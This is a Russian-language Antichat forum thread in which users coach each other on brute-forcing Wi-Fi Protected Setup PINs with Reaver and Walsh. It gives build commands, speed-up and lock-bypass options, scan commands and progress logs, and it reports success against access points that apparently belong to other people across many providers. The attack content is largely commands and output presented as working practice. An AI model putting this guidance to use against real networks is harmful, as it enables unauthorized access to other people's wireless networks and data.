ANTICHAT - Уязвимость в протоколе Wi-Fi Protected Setup

ANTICHAT (https://forum.antichat.io/index.php)

- Беспроводные технологии/Wi-Fi/Wardriving (https://forum.antichat.io/forumdisplay.php?f=113)

- - Уязвимость в протоколе Wi-Fi Protected Setup (https://forum.antichat.io/showthread.php?t=310835)

Зацепился за одну из точек, но процесс идёт очень медленно.

За 4 часа прогресс такой -

[+] 9.35% complete @ 15 seconds/attempt

[+] 9.39% complete @ 15 seconds/attempt

Похоже, режультат будет видно через пару суток

Надеюсь будет положительный

странно я когда walsh прописываю пишет не существует типо такого...

Цитата:

Сообщение от KUKLOVOD2

странно я когда walsh прописываю пишет не существует типо такого...

Скомпилируй последний билд из SVN

Код:

svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

cd reaver-wps-read-only/src

./configure

make

make install

Проект активно развивается, перед запуском на долгие сутки, лучше пересобрать свежачок ...

Для ускорения перебора, можно уменьшать тайминги здесь -

Код:

Advanced Options:

        -p, --pin=             Use the specified 4 or 8 digit WPS pin

        -d, --delay=           Set the delay between pin attempts [1]

        -l, --lock-delay=      Set the time to wait if the AP locks WPS pin attempts [315]

        -g, --max-attempts=        Quit after num pin attempts

        -x, --fail-wait=       Set the time to sleep after 10 unexpected failures [0]

        -r, --recurring-delay=     Sleep for y seconds every x pin attempts

        -t, --timeout=         Set the receive timeout perio [5]

        -T, --m57-timeout=     Set the M5/M7 timeout period [0.20]

        -L, --ignore-locks              Ignore locked state reported by the target AP

        -E, --eap-terminate             Terminate each WPS session with an EAP FAIL packet

        -n, --nack                      Target AP always sends a NACK [Auto]

        -w, --win7                      Mimic a Windows 7 registrar [False]

Согласно доке, если AP не блокирует, то время перебора будет

не более 4 часов.

Если придерживаться спецификаций WSC 2.0, перебор может продолжатться до 65 часов.

С дефолтными настройками, оно так и будет.

zuriuslev

главное дождаться результата!

Цитата:

Сообщение от теща

zuriuslev

главное дождаться результата!

Дождусь ! У меня вся эта байда на UPS А UPS всю эту байду, часов 5 продержит

Кстати, 6 часов назад, автор внёс новые опции для ускорения процесса -

Код:

Added --dh-small option for speed improvements.

Цитата:

Сообщение от теща

.....

2 на бектреке требует установки каких то библиотек . ?

Scapy http://www.secdev.org/projects/scapy/

пишут ещё PyCrypto нужен, но мне на батраке не понадобилcя, наверное есть уже

Цитата:

Сообщение от fgh_2007

у меня Backtrack5 r1 x86 и awus036nh (Ralink RT2870/3070 rt2800usb) установил драйвер compat-wireless-2012-01-03

./walsh -i mon0 -C -s увидеть нужные сети

http://s010.radikal.ru/i311/1201/a2/b94e218e3e2a.png

работает!

какие добавлял опции к команде: reaver -i mon0 -b ------------

или так по умолчанию и использовал ?

а вообще здорово за 4 часа, а у меня разрывает ассоциацию ((

Цитата:

Сообщение от fgh_2007

работает!

Поздравляю . Мньше чем за 4 часа. А ключик проверили ?

У мня уже почти 18 часов крутится, но должно скоро закончиться

Код:

[+] 97.30% complete @ 10 seconds/attempt

[+] 97.35% complete @ 10 seconds/attempt

[+] 97.39% complete @ 10 seconds/attempt

Сейчас опять очередной лок от АП ... значит 5 минут ждёмс ...

У меня в начале было 16 seconds/attempt, а на финише 10 seconds/attempt.

НО ! Похоже участились локи

Просканил через Walsh, нашел 5 сетей.Везде FAILED to associate.Что можно придумать?

Цитата:

Сообщение от KUKLOVOD2

моментом, почти так же как аеродампом, мб у всех впс выключен?

ха........... нет не так , кароче сам список создаеться но внем ничего не находит пишет что нету нифига но точек куча неужели среди 100 точек нету ниодной тут разные провайдеры шифрование роутеры моделей 8 наверное разных а так же пользователи и полный ноль ........... странно .......

нашло пин 8 цыфр за 2 минуты .......... папиросу выкурить не успел .......

едим дальше